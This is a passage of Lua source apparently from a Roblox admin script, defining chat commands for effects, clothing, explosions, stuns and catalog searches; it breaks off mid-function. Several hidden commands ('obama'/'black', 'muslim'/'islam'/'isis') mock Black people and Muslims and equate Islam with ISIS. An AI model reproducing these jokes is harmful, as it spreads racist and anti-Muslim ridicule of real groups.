6977 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
6978 local Players = STRING:Scan(Arguments[1], Speaker)
6979 for _,Player in pairs(Players) do
6980 if Player.Character and Player.Character:FindFirstChild("Torso") then
6981 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
6982 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
6983 end
6984 end
6985 end};
6986
6987 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
6988 local Players = STRING:Scan(Arguments[1], Speaker)
6989 for _,Player in pairs(Players) do
6990 if Player.Character and Player.Character:FindFirstChild("Torso") then
6991 local Lights = {}
6992 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
6993 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
6994 table.insert(Lights, Obj)
6995 end
6996 end
6997 for _,Light in pairs(Lights) do
6998 coroutine.wrap(function()
6999 for i = 1,20 do
7000 Light.Brightness = Light.Brightness/5
7001 wait()
7002 end
7003 Light:Destroy()
7004 end)()
7005 end
7006 end
7007 end
7008 end};
7009
7010 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7011 local Players = STRING:Scan(Arguments[1], Speaker)
7012 for _,Player in pairs(Players) do
7013 if Player.Character and Player:FindFirstChild("PlayerGui") then
7014 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7015 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7016 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7017 local Stop = false
7018 coroutine.wrap(function()
7019 repeat
7020 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7021 wait(0.1)
7022 until not SG or not SG.Parent
7023 end)()
7024 CORE:ExecuteResource("Drug", Player.Character)
7025 end
7026 end
7027 end};
7028
7029 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7030 local Players = STRING:Scan(Arguments[1], Speaker)
7031 for _,Player in pairs(Players) do
7032 if Player:FindFirstChild("PlayerGui") then
7033 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7034 wait() CORE:RestoreCamera(Player)
7035 end
7036 end
7037 end};
7038
7039 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7040 local AbuseMode = false
7041 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7042 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7043 if Speaker:FindFirstChild("Backpack") then
7044 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7045 end
7046 end)
7047 end, Http = true};
7048
7049 [{"searchh", "searchhat"}] = {"string", "Searches the catalog for the hat string)", 1, "Member", false, function(Speaker, Rank, Arguments)
7050 MARKET:ShowSearch(Speaker, 3, Arguments[1], function(ID)
7051 if Speaker.Character then
7052 CORE:Insert(ID, Speaker.Character, true, {"Hat"})
7053 end
7054 end, 9)
7055 end, Http = true};
7056
7057 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7058 MARKET:ShowSearch(Speaker, 4, Arguments[1], function(ID)
7059 if Speaker.Character then
7060 CORE:GivePackage(Speaker, ID)
7061 end
7062 end, 11)
7063 end, Http = true};
7064
7065 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7066 local Players = STRING:Scan(Arguments[1], Speaker)
7067 for _,Player in pairs(Players) do
7068 CORE:GivePackage(Player)
7069 end
7070 end};
7071
7072 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID), a few packages don't need http service because they're in the cache, but most do", 2, "Member", false, function(Speaker, Rank, Arguments)
7073 local Players = STRING:Scan(Arguments[1], Speaker)
7074 for _,Player in pairs(Players) do
7075 CORE:GivePackage(Player, Arguments[2])
7076 end
7077 end, Http = true};
7078
7079 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7080 local Players = STRING:Scan(Arguments[1], Speaker)
7081 for _,Player in pairs(Players) do
7082 local Stats = Player:FindFirstChild("leaderstats")
7083 if Stats ~= nil then
7084 for _,Stat in pairs(Stats:GetChildren()) do
7085 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7086 ypcall(function() Stat.Value = Arguments[3] end)
7087 end
7088 end
7089 end
7090 end
7091 end};
7092
7093 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7094 local ID = tonumber(Arguments[2])
7095 local Players = STRING:Scan(Arguments[1], Speaker)
7096 for _,Player in pairs(Players) do
7097 for _,Player in pairs(Players) do
7098 if Player.Character ~= nil then
7099 local Obj = Player.Character:FindFirstChild("Shirt")
7100 if Obj then
7101 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7102 else
7103 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7104 end
7105 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7106 end
7107 end
7108 end
7109 end};
7110
7111 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7112 local ID = tonumber(Arguments[2])
7113 local Players = STRING:Scan(Arguments[1], Speaker)
7114 for _,Player in pairs(Players) do
7115 for _,Player in pairs(Players) do
7116 if Player.Character ~= nil then
7117 local Obj = Player.Character:FindFirstChild("Pants")
7118 if Obj then
7119 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7120 else
7121 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7122 end
7123 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7124 end
7125 end
7126 end
7127 end};
7128
7129 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7130 local ID = tonumber(Arguments[2])
7131 local Players = STRING:Scan(Arguments[1], Speaker)
7132 for _,Player in pairs(Players) do
7133 for _,Player in pairs(Players) do
7134 if Player.Character ~= nil then
7135 if Player.Character:FindFirstChild("Torso") then
7136 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7137 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7138 if Obj1 then
7139 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7140 else
7141 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7142 end
7143 if Obj2 then
7144 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7145 else
7146 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7147 end
7148 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7149 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7150 end
7151 end
7152 end
7153 end
7154 end};
7155
7156 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7157 local Players = STRING:Scan(Arguments[1], Speaker)
7158 for _,Player in pairs(Players) do
7159 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7160 end
7161 end};
7162
7163 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7164 if CORE:InAdminGroup(Speaker) then
7165 local Players = STRING:Scan(Arguments[1], Speaker)
7166 for _,Player in pairs(Players) do
7167 if Player:FindFirstChild("Backpack") then
7168 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7169 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7170 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7171 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7172 CORE:ExecuteResource("CookieTool", Tool)
7173 end
7174 end
7175 end
7176 end};
7177
7178 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7179 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7180 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7181 end
7182 end};
7183
7184 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7185 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7186 local Model = CORE:Insert(tonumber(Arguments[1]), game:GetService("ReplicatedStorage"))
7187 Model:MakeJoints()
7188 for i = 1,math.random(10,20) do
7189 Model.Name = Model.Name..string.char(math.random(97,122))
7190 end
7191 if Model:GetChildren()[1] then
7192 table.insert(Objects, Model)
7193 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7194 end
7195 end
7196 end};
7197
7198 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7199 local ID = tonumber(Arguments[2])
7200 local Players = STRING:Scan(Arguments[1], Speaker)
7201 for _,Player in pairs(Players) do
7202 if Player.Character then
7203 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7204 end
7205 end
7206 end};
7207
7208 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7209 local Players = STRING:Scan(Arguments[1], Speaker)
7210 for _,Player in pairs(Players) do
7211 if Player.Character then
7212 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7213 if StopAnim then StopAnim:Destroy() end
7214 end
7215 end
7216 end};
7217
7218 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7219 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7220 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7221 end
7222 end};
7223
7224 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7225 if tonumber(Arguments[1]) then
7226 Server.Lighting.Brightness = tonumber(Arguments[1])
7227 end
7228 end};
7229
7230 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7231 local Players = STRING:Scan(Arguments[1], Speaker)
7232 for _,Player in pairs(Players) do
7233 GUI:CoreGui(Player, "PlayerList", true)
7234 end
7235 end};
7236
7237 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7238 local Players = STRING:Scan(Arguments[1], Speaker)
7239 for _,Player in pairs(Players) do
7240 local Players = STRING:Scan(Arguments[1], Speaker)
7241 GUI:CoreGui(Player, "PlayerList", false)
7242 end
7243 end};
7244
7245 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7246 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7247 end, Hidden = true};
7248
7249 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7250 local Players = STRING:Scan(Arguments[1], Speaker)
7251 for _,Player in pairs(Players) do
7252 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7253 end
7254 end, Hidden = true};
7255
7256 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7257 local Players = STRING:Scan(Arguments[1], Speaker)
7258 for _,Player in pairs(Players) do
7259 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7260 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7261 Player:ClearCharacterAppearance()
7262 CORE:Insert(12436480, Player.Character, true)
7263 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7264 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7265 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7266 end
7267 end
7268 end, Hidden = true};
7269
7270 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7271 local Players = STRING:Scan(Arguments[1], Speaker)
7272 for _,Player in pairs(Players) do
7273 CORE:ChangeCharacter(Player, 0, false, Speaker)
7274 end
7275 end};
7276
7277 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7278 local Bet = Arguments[1]
7279 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7280 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7281 elseif #Bet > 5 then
7282 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7283 else
7284 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7285 if Answer == "Yes" then
7286 local OldBet = Settings.Bet
7287 CORE:ChangeBet(Bet)
7288 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7289 end
7290 end
7291 end};
7292
7293 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7294 local Prefix = Arguments[1]
7295 if #Prefix > 5 then
7296 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7297 else
7298 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7299 if Answer == "Yes" then
7300 local OldPrefix = Settings.Prefix
7301 Settings.Prefix = Prefix
7302 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7303 end
7304 end
7305 end};
7306
7307 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7308 GUI:CommandBar(Speaker)
7309 end};
7310
7311 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7312 GUI:CommandBar(Speaker)
7313 PermCommandBars[Speaker.Name] = true
7314 end};
7315
7316 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7317 PermCommandBars[Speaker.Name] = nil
7318 end};
7319
7320 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7321 local Players = STRING:Scan(Arguments[1], Speaker)
7322 for _,Player in pairs(Players) do
7323 PermCommandBars[Player.Name] = nil
7324 end
7325 end};
7326
7327 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7328 CORE:CreateFigure("Dummy", nil, true, Speaker)
7329 end};
7330
7331 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7332 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7333 end};
7334
7335 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7336 local Players = STRING:Scan(Arguments[1], Speaker)
7337 for _,Player in pairs(Players) do
7338 CORE:ClonePlayer(Player)
7339 end
7340 end};
7341
7342 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7343 local Players = STRING:Scan(Arguments[1], Speaker)
7344 for _,Player in pairs(Players) do
7345 CORE:ClonePlayer(Player, Arguments[2])
7346 end
7347 end};
7348
7349 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7350 for _,Obj in pairs(Objects) do
7351 if Obj then Obj:Destroy() end
7352 end
7353 for Name,Jail in pairs(Jails) do
7354 if not game.Players:FindFirstChild(Name) then
7355 Jail:Destroy()
7356 Jails[Name] = nil
7357 end
7358 end
7359 Objects = {}
7360 end};
7361
7362 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7363 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7364 if Obj:IsA("Hat") or Obj:IsA("Tool") then
7365 Obj:Destroy()
7366 end
7367 end
7368 end};
7369
7370 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7371 local Players = STRING:Scan(Arguments[1], Speaker)
7372 for _,Player in pairs(Players) do
7373 if Player.Character and Player.Character:FindFirstChild("Torso") then
7374 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7375 end
7376 end
7377 end};
7378
7379 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7380 local Players = STRING:Scan(Arguments[1], Speaker)
7381 for _,Player in pairs(Players) do
7382 if Player.Character and Player.Character:FindFirstChild("Torso") then
7383 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7384 end
7385 end
7386 end};
7387
7388 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7389 local Players = STRING:Scan(Arguments[1], Speaker)
7390 for _,Player in pairs(Players) do
7391 if Player.Character and Player.Character:FindFirstChild("Torso") then
7392 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7393 end
7394 end
7395 end};
7396
7397 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7398 local Players = STRING:Scan(Arguments[1], Speaker)
7399 for _,Player in pairs(Players) do
7400 if Player.Character and Player.Character:FindFirstChild("Torso") then
7401 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7402 if Get:IsA("Sparkles") then
7403 Get:Destroy()
7404 end
7405 end
7406 end
7407 end
7408 end};
7409
7410 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7411 local Players = STRING:Scan(Arguments[1], Speaker)
7412 for _,Player in pairs(Players) do
7413 if Player.Character and Player.Character:FindFirstChild("Torso") then
7414 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7415 if Get:IsA("Fire") then
7416 Get:Destroy()
7417 end
7418 end
7419 end
7420 end
7421 end};
7422
7423 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7424 local Players = STRING:Scan(Arguments[1], Speaker)
7425 for _,Player in pairs(Players) do
7426 if Player.Character and Player.Character:FindFirstChild("Torso") then
7427 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7428 if Get:IsA("Smoke") then
7429 Get:Destroy()
7430 end
7431 end
7432 end
7433 end
7434 end};
7435
7436 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7437 local Players = STRING:Scan(Arguments[1], Speaker)
7438 for _,Player in pairs(Players) do
7439 if Player.Character and Player.Character:FindFirstChild("Torso") then
7440 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7441 local Boom = Instance.new("Explosion", Workspace)
7442 Boom.Position = Player.Character.Torso.Position
7443 end
7444 end
7445 end};
7446
7447 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7448 local Players = STRING:Scan(Arguments[1], Speaker)
7449 for _,Player in pairs(Players) do
7450 if Player.Character and Player.Character:FindFirstChild("Torso") then
7451 coroutine.wrap(function() for i = 1,50 do
7452 local Boom = Instance.new("Explosion", Workspace)
7453 Boom.Position = Player.Character.Torso.Position
7454 wait()
7455 end end)()
7456 coroutine.wrap(function() for i = 1,5 do
7457 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7458 end end)()
7459 end
7460 end
7461 end};
7462
7463 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7464 local Players = STRING:Scan(Arguments[1], Speaker)
7465 for _,Player in pairs(Players) do
7466 if Player.Character and Player.Character:FindFirstChild("Torso") then
7467 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7468 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7469 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7470 end
7471 end
7472 end};
7473
7474 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7475 local Players = STRING:Scan(Arguments[1], Speaker)
7476 for _,Player in pairs(Players) do
7477 if Player.Character and Player.Character:FindFirstChild("Torso") then
7478 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7479 end
7480 end
7481 end};
7482
7483 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7484 local Players = STRING:Scan(Arguments[1], Speaker)
7485 for _,Player in pairs(Players) do
7486 if Player.Character then
7487 Player.Character.Parent = Server.Lighting
7488 end
7489 end
7490 end};
7491
7492 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7493 local Players = STRING:Scan(Arguments[1], Speaker)
7494 for _,Player in pairs(Players) do
7495 if Player.Character then
7496 Player.Character.Parent = Server.Workspace
7497 Player.Character:MakeJoints()
7498 end
7499 end
7500 end};
7501
7502 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7503 local Players = STRING:Scan(Arguments[1], Speaker)
7504 for _,Player in pairs(Players) do
7505 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7506 Player.Character.Humanoid.PlatformStand = true
7507 end
7508 end
7509 end};
7510
7511 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7512 local Players = STRING:Scan(Arguments[1], Speaker)
7513 for _,Player in pairs(Players) do
7514 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7515 Player.Character.Humanoid.PlatformStand = false
7516 end
7517 end
7518 end};
7519
7520 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7521 local Players = STRING:Scan(Arguments[1], Speaker)
7522 for _,Player in pairs(Players) do
7523 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7524 Player.Character.Humanoid.Jump = true
7525 end
7526 end
7527 end};
7528
7529 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7530 local Players = STRING:Scan(Arguments[1], Speaker)
7531 for _,Player in pairs(Players) do
7532 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7533 Player.Character.Humanoid.Sit = true
7534 end
7535 end
7536 end};
7537
7538 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7539 local Players = STRING:Scan(Arguments[1], Speaker)
7540 for _,Player in pairs(Players) do
7541 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7542 Player.Character.Humanoid.Sit = false
7543 end
7544 end
7545 end};
7546
7547 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7548 local Players = STRING:Scan(Arguments[1], Speaker)
7549 for _,Player in pairs(Players) do
7550 if Player.Character and Player.Character:FindFirstChild("Torso") then
7551 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7552 end
7553 end
7554 end};
7555
7556 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7557 local Players = STRING:Scan(Arguments[1], Speaker)
7558 for _,Player in pairs(Players) do
7559 if Player.Character and Player.Character:FindFirstChild("Torso") then
7560 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7561 end
7562 end
7563 end};
7564
7565 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7566 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7567 end};
7568
7569 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7570 local Color = "Blue"
7571 local String = Arguments[2]
7572 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7573 if #ChatSplit >= 2 then
7574 if string.lower(ChatSplit[1]) == "green" then
7575 Color = "Green"
7576 String = ChatSplit[2]
7577 elseif string.lower(ChatSplit[1]) == "red" then
7578 Color = "Red"
7579 String = ChatSplit[2]
7580 end
7581 end
7582 local Players = STRING:Scan(Arguments[1], Speaker)
7583 for _,Player in pairs(Players) do
7584 if Player.Character and Player.Character:FindFirstChild("Head") then
7585 game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
7586 end
7587 end
7588 end};
7589
7590 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7591 local Players = STRING:Scan(Arguments[1], Speaker)
7592 for _,Player in pairs(Players) do
7593 if Player.Character then
7594 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7595 end
7596 end
7597 end};
7598
7599 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7600 local Players = STRING:Scan(Arguments[1], Speaker)
7601 local ID = nil
7602 if tonumber(Arguments[2]) ~= nil then
7603 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7604 else
